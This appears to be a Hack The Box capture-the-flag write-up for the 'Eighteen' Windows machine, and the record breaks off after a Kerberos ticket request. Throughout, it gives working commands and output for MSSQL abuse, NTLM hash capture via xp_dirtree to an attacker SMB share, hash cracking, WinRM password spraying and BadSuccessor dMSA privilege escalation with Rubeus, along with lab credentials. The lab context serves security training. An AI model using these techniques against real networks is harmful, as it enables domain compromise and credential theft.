Hack The Box Write-Up Eighteen - 10.10.11.95
About Eighteen
In this post, I’m writing a write-up for the machine Eighteen from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.
Eighteen is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.
As is common in real life Windows pentests, we will start this box with credentials for the following account:
| Username | Password |
| kevin | iNa2we6haRj2gaw! |
Foothold
We already had the foothold as the user account kevin.
User
The user account kevin had access to Microsoft SQL Server. After switching the Microsoft SQL Server user account appdev, we can access the financial_planner database, and read the username admin and the password hash from the users table. After converting this hash to a crackable hash with hashcat, we were able to move laterally to the user account adam.scott after a password spray attack with the initial received password and the cracked password.
Root
This machine was vulnerable to the BadSuccessor vulnerability, which could be exploited using a PowerShell exploit. By leveraging Rubeus.exe, the exploit allowed for the request of Kerberos tickets. Ultimately, this led to obtaining the Service Ticket via Impacket. However, the challenge was that the Kerberos port was closed on the machine, requiring the Service Ticket to be requested through port forwarding with chisel or tunneling with ligolo-ng. With the hash, it was possible to establish an evil-winrm session as Administrator.
Machine Info
| Machine Name: | Eighteen |
| Difficulty: | Easy |
| Points: | 20 |
| Release Date: | 15 Nov 2025 |
| IP: | 10.10.11.95 |
| Creator: | kavigihan |
Reconnaissance
Portscan with Nmap
As always, we start this machine with a portscan with Nmap.
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ sudo nmap -sC -sV -oA ./nmap/eighteen eighteen.htb
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Nmap scan report for eighteen.htb (10.10.11.95)
Host is up (0.020s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Welcome - eighteen.htb
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.95:1433:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
| ms-sql-info:
| 10.10.11.95:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-11-18T01:50:36+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-17T23:14:39
|_Not valid after: 2055-11-17T23:14:39
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.85 seconds
The port scan reveals three open ports, the default HTTP port 80/tcp, which serves a web server with the HTTP title Welcome - eighteen.htb. This website is running on Microsoft-IIS/10.0. The second port is the default port for Microsoft SQL Server 2022 1433.tcp. This machine is running Microsoft SQL Server 2022 version 16.00.1000.00. Last, but not least, the Windows Remote Management port 5985/tcp (HTTP) is open. So, we can use evil-winrm to get a shell on the machine.
Although the Kerberos port isn’t open, we notice that we have a clock skew of almost seven hours. If we have something to do with Kerberos with this machine, then we have to fix this clock skew.
Enumeration
Website
Let’s start with the website http://eighteen.htb.
http://eighteen.htb
After exploring the website for Jinja template injection vulnerabilities and intercepting some requests with Burp Suite, it appears that we cannot currently perform any malicious actions.
We notice the Admin button in the navigation bar, but our current user account does not have the permissions to access the Admin Dashboard.
Microsoft SQL Server
We have the credentials for the user account kevin, so let’s start with authenticating against the Microsoft SQL Server and start enumerating this service.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@eighteen.htb'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
The user account kevin does not have access to enable xp_cmdshell. Let’s enumerate the existence of the databases.
1
2
3
4
5
6
7
8
9
10
11
12
SQL (kevin guest@master)> enum_db
name is_trustworthy_on
----------------- -----------------
master 0
tempdb 0
model 0
msdb 1
financial_planner 0
The database financial_planner is exceptional; it stands out from the default database. We clearly have something to do with this database.
1
2
SQL (kevin guest@master)> use financial_planner
ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.
The user account kevin does not have the permissions to access this database. Let’s enumerate the logins and see which user accounts exist in Microsoft SQL Server.
1
2
3
4
5
6
7
8
9
10
11
12
SQL (kevin guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
------ --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
kevin SQL_LOGIN 0 0 0 0 0 0 0 0 0
appdev SQL_LOGIN 0 0 0 0 0 0 0 0 0
We have the user account appdev. Let’s try to switch from kevin to this user account, and try to enable xp_cmdshell again.
1
2
3
4
5
6
SQL (kevin guest@master)> exec_as_login appdev
SQL (appdev appdev@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
So, we can switch to appdev but also this account does not have the permissions to enable xp_cmdshell. Let’s try to access the database financial planner from appdev.
1
2
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
Ok, this is working. This user can use xp_dirtree. Let’s try to intercept the Microsoft SQL Server service account’s NTLM hash; maybe we can crack this hash. Start Responder on our machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.49]
Responder IPv6 [dead:beef:4::102f]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-2GL01X1O8KU]
Responder Domain Name [Y4EU.LOCAL]
Responder DCE-RPC Port [46905]
[*] Version: Responder 3.1.7.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
[*] To sponsor Responder: https://paypal.me/PythonResponder
[+] Listening for events...
Now use xp_dirtree to an SMB share on our machine.
1
2
3
SQL (appdev appdev@financial_planner)> EXEC master..xp_dirtree '\\10.10.16.49\share'
subdirectory depth
------------ -----
We have the NTLM hash from the user account mssqlsvc.
1
2
3
4
5
6
7
8
[SMB] NTLMv2-SSP Client : 10.10.11.95
[SMB] NTLMv2-SSP Username : EIGHTEEN\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::EIGHTEEN:b67ecf06467b17af:5A4582A4A992E07E02EE4019DFDF6300:010100000000000080264F420058DC015CBECB53
E77092C50000000002000800590034004500550001001E00570049004E002D00320047004C0030003100580031004F0038004B00550004003400570049004E002D0032004
7004C0030003100580031004F0038004B0055002E0059003400450055002E004C004F00430041004C000300140059003400450055002E004C004F00430041004C00050014
0059003400450055002E004C004F00430041004C000700080080264F420058DC010600040002000000080030003000000000000000000000000030000048DF3DC75929B23
AD61FAE92C6AE6A0A796451EE6885991DDF32CA413A9E7B850A001000000000000000000000000000000000000900200063006900660073002F00310030002E0031003000
2E00310036002E00340039000000000000000000
Tried to crack hash with hashcat, but it seems it’s not crackable. Let’s enumerate the database more.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
SQL (appdev appdev@financial_planner)> SELECT * FROM financial_planner.INFORMATION_SCHEMA.TABLES
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
----------------- ------------ ----------- ----------
financial_planner dbo users b'BASE TABLE'
financial_planner dbo incomes b'BASE TABLE'
financial_planner dbo expenses b'BASE TABLE'
financial_planner dbo allocations b'BASE TABLE'
financial_planner dbo analytics b'BASE TABLE'
financial_planner dbo visits b'BASE TABLE'
Let’s try to get the contents of the users table.
1
2
3
4
5
6
SQL (appdev appdev@financial_planner)> select * from dbo.users;
id full_name username email password_hash is_admin created_at
---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ----------
1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03
SQL (appdev appdev@financial_planner)>
Initial Access
Crack pbkdf2 hash
Interesting, we now have the pbkdf2 hash of a user account, named admin. We have an Admin Dashboard on the website. So, let’s invest some time to understand this hash and crack if with hashcat. If we lookup this hash, we see that this hash can be cracked with the mode 10000 with hashcat. This is a Django (PBKDF2-SHA256) hash.
This is a Password-Based Key Derivation Function 2 (pbkdf2) hash, specifically using the SHA-256 hashing algorithm. I found a nice blog that break down the components of the hash.
1
2
3
4
5
6
7
8
9
10
pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
| | | | | || |
'-|--' '--|-' '------------------|---''-----------------------------------------------------|--------'
| | | '._____Base64-Encoded Hash
| | |
| | '._________Base64-Encoded Salt
| |
| '._______ Number of Iterations
|
'._____ Algorithm
If we check hashcat, it expects the following hash:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ hashcat --hash-info -m 10000
...
Kernel.Type(s)......: pure
Example.Hash.Format.: plain
Example.Hash........: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWkE=
Example.Pass........: hashcat
...
To crack this hash with hashcat, we have to re-encode this hash.
- Replace all
$by a:, otherwisehashcatwill not recognize the hash. hashcatrequires the salt to be base64-encoded, it already is;hashcatrequires the hash to be base64-encoded. Currently hexadecimal.
So, we have to convert the hash to base64.
1
2
3
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ echo -n '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | base64
MDY3M2FkOTBhMGI0YWZiMTlkNjYyMzM2ZjBmY2UzYTllZGQwYjdiMTkxOTM3MTdiZTI4Y2U0ZDY2Yzg4NzEzMw==
The end result is the following hash:
1
sha256:600000:AMtzteQIG7yAbZIa:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
We can now crack the hash with hashcat.
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ hashcat -m 10000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
After cracking we have this password: iloveyou1.
Access Admin Dashboard
We now have a password, let’s try to authenticate against the website using the username admin with the password iloveyou1.
http://eighteen.htb/admin
We can authenticate with this username and password combination. We also have access to the Admin Dashboard. On this point, I got stuck for some time. What will be my next step? The Admin Dashboard gives nothing literally! Why is this website even there?
Enumeration domain users
Let’s enumerate domain users for password spraying. Maybe wee can reuse this password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set username kevin
username => kevin
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set password "iNa2we6haRj2gaw!"
password => iNa2we6haRj2gaw!
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set rhost eighteen.htb
rhost => eighteen.htb
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > run
[*] Running module against 10.10.11.95
[*] 10.10.11.95:1433 - Attempting to connect to the database server at 10.10.11.95:1433 as kevin...
[+] 10.10.11.95:1433 - Connected.
[*] 10.10.11.95:1433 - SQL Server Name: DC01
[*] 10.10.11.95:1433 - Domain Name: EIGHTEEN
[+] 10.10.11.95:1433 - Found the domain sid: 010500000000000515000000dfdeac44d4131d236f599b76
[*] 10.10.11.95:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.10.11.95:1433 - - EIGHTEEN\Administrator
[*] 10.10.11.95:1433 - - EIGHTEEN\Guest
[*] 10.10.11.95:1433 - - EIGHTEEN\krbtgt
[*] 10.10.11.95:1433 - - EIGHTEEN\Domain Admins
[*] 10.10.11.95:1433 - - EIGHTEEN\Domain Users
[*] 10.10.11.95:1433 - - EIGHTEEN\Domain Guests
[*] 10.10.11.95:1433 - - EIGHTEEN\Domain Computers
[*] 10.10.11.95:1433 - - EIGHTEEN\Domain Controllers
[*] 10.10.11.95:1433 - - EIGHTEEN\Cert Publishers
[*] 10.10.11.95:1433 - - EIGHTEEN\Schema Admins
[*] 10.10.11.95:1433 - - EIGHTEEN\Enterprise Admins
[*] 10.10.11.95:1433 - - EIGHTEEN\Group Policy Creator Owners
[*] 10.10.11.95:1433 - - EIGHTEEN\Read-only Domain Controllers
[*] 10.10.11.95:1433 - - EIGHTEEN\Cloneable Domain Controllers
[*] 10.10.11.95:1433 - - EIGHTEEN\Protected Users
[*] 10.10.11.95:1433 - - EIGHTEEN\Key Admins
[*] 10.10.11.95:1433 - - EIGHTEEN\Enterprise Key Admins
[*] 10.10.11.95:1433 - - EIGHTEEN\Forest Trust Accounts
[*] 10.10.11.95:1433 - - EIGHTEEN\External Trust Accounts
[*] 10.10.11.95:1433 - - EIGHTEEN\RAS and IAS Servers
[*] 10.10.11.95:1433 - - EIGHTEEN\Allowed RODC Password Replication Group
[*] 10.10.11.95:1433 - - EIGHTEEN\Denied RODC Password Replication Group
[*] 10.10.11.95:1433 - - EIGHTEEN\DC01$
[*] 10.10.11.95:1433 - - EIGHTEEN\DnsAdmins
[*] 10.10.11.95:1433 - - EIGHTEEN\DnsUpdateProxy
[*] 10.10.11.95:1433 - - EIGHTEEN\mssqlsvc
[*] 10.10.11.95:1433 - - EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
[*] 10.10.11.95:1433 - - EIGHTEEN\HR
[*] 10.10.11.95:1433 - - EIGHTEEN\IT
[*] 10.10.11.95:1433 - - EIGHTEEN\Finance
[*] 10.10.11.95:1433 - - EIGHTEEN\jamie.dunn
[*] 10.10.11.95:1433 - - EIGHTEEN\jane.smith
[*] 10.10.11.95:1433 - - EIGHTEEN\alice.jones
[*] 10.10.11.95:1433 - - EIGHTEEN\adam.scott
[*] 10.10.11.95:1433 - - EIGHTEEN\bob.brown
[*] 10.10.11.95:1433 - - EIGHTEEN\carol.white
[*] 10.10.11.95:1433 - - EIGHTEEN\dave.green
[+] 10.10.11.95:1433 - 38 user accounts, groups, and computer accounts were found.
[*] 10.10.11.95:1433 - Query results have been saved to: /home/kali/.msf4/loot/20251118214946_default_10.10.11.95_mssql.domain.acc_51
5324.txt
[*] Auxiliary module execution completed
We have now a list of user account. We create the file users.txt with the following usernames:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
EIGHTEEN\IT
EIGHTEEN\HR
EIGHTEEN\Finance
EIGHTEEN\jamie.dunn
EIGHTEEN\jane.smith
EIGHTEEN\alice.jones
EIGHTEEN\adam.scott
EIGHTEEN\bob.brown
cEIGHTEEN\carol.white
EIGHTEEN\dave.green
EIGHTEEN\jamie
EIGHTEEN\ane
EIGHTEEN\alice
EIGHTEEN\adam
EIGHTEEN\bob
EIGHTEEN\carol
EIGHTEEN\dave
EIGHTEEN\sa
EIGHTEEN\kevin
EIGHTEEN\appdev
EIGHTEEN\mssqlsvc
Create passwords.txt with the two known passwords.
1
2
iloveyou1
iNa2we6haRj2gaw!
Password spraying
Now spray and pray.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ nxc winrm eighteen.htb -u users.txt -p passwords.txt --local-auth
WINRM 10.10.11.95 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\IT:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\HR:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Finance:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\jamie.dunn:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\jane.smith:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\alice.jones:iloveyou1
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.95 5985 DC01 [+] EIGHTEEN\adam.scott:iloveyou1 (Pwn3d!)
The user account adam.scott also have the password iloveyou1.
Lateral Movement
from appdev to adam.scott
The user account adam.scott has the permissions to access the server with evil-winrm.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ evil-winrm -u "EIGHTEEN\adam.scott" -p "iloveyou1" -i eighteen.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.scott\Documents> type ../Desktop/user.txt
fd12a093cedeeeefe4c2730465d1408d
*Evil-WinRM* PS C:\Users\adam.scott\Documents>
First stage done, not the second stage.
Privilege Escalation
Enumeration
The useraccount adam.scott does not have any interessting privileges.
1
2
3
4
5
6
7
8
9
10
11
12
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami
eighteen\adam.scott
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
This user account is member of the group IT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
This is interessting, this user is member of the EIGHTEEN\IT group. The Active Directory ports are not open, as of this machine is segmented. We have to use proxychains or portforwarding to perform Bloodhound analysis
I ran Bloodhound and won’t bore you with my analysis, as it didn’t really yield much. I have also run WinPeas, but it also does not reveal the path we have to follow. The next thing I mostly do is check the current operating system version to check for any privilege escalation vulnerabilities.
1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
SystemRoot : C:\WINDOWS
BaseBuildRevisionNumber : 1
BuildBranch : ge_release
BuildGUID : ffffffff-ffff-ffff-ffff-ffffffffffff
BuildLab : 26100.ge_release.240331-1435
BuildLabEx : 26100.1.amd64fre.ge_release.240331-1435
CompositionEditionID : ServerDatacenter
CurrentBuild : 26100
CurrentBuildNumber : 26100
...
Exploitation
BadSuccessor (CVE-2025-53779)
This machine is running Windows Server 2025 Datacenter with version 26100. This version of Windows Server is vulnerable for abusing dMSA to escalate privileges in Active Directory to Domain Administrator, this vulnerability is dubbed as BadSuccessor. I have searched around and found a couple of exploits.
I downloaded the PowerShell version of the exploit from this Github repository: https://github.com/b5null/Invoke-BadSuccessor.ps1/blob/main/Invoke-BadSuccessor.ps1.
1
2
3
4
5
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ curl https://raw.githubusercontent.com/b5null/Invoke-BadSuccessor.ps1/refs/heads/main/Invoke-BadSuccessor.ps1 -o invoke-badsuccessor.ps1
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 25113 100 25113 0 0 97454 0 --:--:-- --:--:-- --:--:-- 97337
I attempted to use Chisel for you, but I couldn’t get dynamic port forwarding to work due to clock skew issues. It was quite frustrating, to say at least.
I chose to use ligolo-ng for the first time, I saw a video from John Hammond about this tool, please watch: https://www.youtube.com/watch?v=qou7shRlX_s. You can thank me later, or thank John.
I downloaded the following files to the machine:
invoke-Badsuccessor.ps1(the exploit)Rubeus.exe(for requesting the hash, tgt and tgs)agent.exetheligolo-ngagent.
After importing the module, we can start exploiting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Invoke-badsuccessor
[+] Created computer 'Pwn' in 'OU=Staff,DC=eighteen,DC=htb'.
[+] Machine Account's sAMAccountName : Pwn$
[+] Machine Account's SID : S-1-5-21-1152179935-589108180-1989892463-12106
[+] Created delegated service account 'attacker_dMSA' in 'OU=Staff,DC=eighteen,DC=htb'.
[+] Service Account's sAMAccountName : attacker_dMSA$
[+] Service Account's SID : S-1-5-21-1152179935-589108180-1989892463-12107
[+] Allowed to retrieve password : Pwn$
[+] Added ACE on 'CN=attacker_dMSA,OU=Staff,DC=eighteen,DC=htb' for 'adam.scott' (S-1-5-21-1152179935-589108180-1989892463-1609) with rights 'All' (Allow, ThisObjectOnly).
[+] Granted 'GenericAll' on 'attacker_dMSA$' to 'adam.scott'.
[+] Configured delegated MSA state for 'attacker_dMSA$' with predecessor:
CN=Administrator,CN=Users,DC=eighteen,DC=htb
[+] Next steps (Rubeus):
Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb
Rubeus.exe asktgt /user:Pwn$ /aes256:<AES256KEY> /domain:eighteen.htb
Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<BASE64TGT>
[+] Alternative (Impacket):
getST.py 'eighteen.htb/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSA$'
*Evil-WinRM* PS C:\Users\adam.scott\Documents>
Request the password hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
[*] Action: Calculate Password Hash(es)
[*] Input password : Password123!
[*] Input username : Pwn$
[*] Input domain : eighteen.htb
[*] Salt : EIGHTEEN.HTBhostpwn.eighteen.htb
[*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] aes128_cts_hmac_sha1 : A4369F3F47382720482549ACA7B36353
[*] aes256_cts_hmac_sha1 : 07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B
[*] des_cbc_md5 : D5150802CB46C419
Request the Ticket-Granting-Ticket from the Kerberos Distribution Center (KDC).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\rubeus.exe asktgt /user:Pwn$ /aes256:07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B /domain:eighteen.htb /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: 07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B
[*] Building AS-REQ (w/ preauth) for: 'eighteen.htb\Pwn$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
